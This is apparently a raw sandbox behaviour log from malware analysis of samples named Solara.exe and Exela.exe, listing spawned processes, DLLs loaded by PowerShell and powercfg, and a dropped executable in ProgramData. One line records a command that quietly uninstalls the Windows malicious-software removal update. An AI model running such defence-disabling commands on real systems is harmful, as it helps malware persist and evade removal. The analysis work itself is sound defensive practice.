Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Users\user\AppData\Local\Temp\Exela.exe "C:\Users\user~1\AppData\Local\Temp\Exela.exe"
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\Solara.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
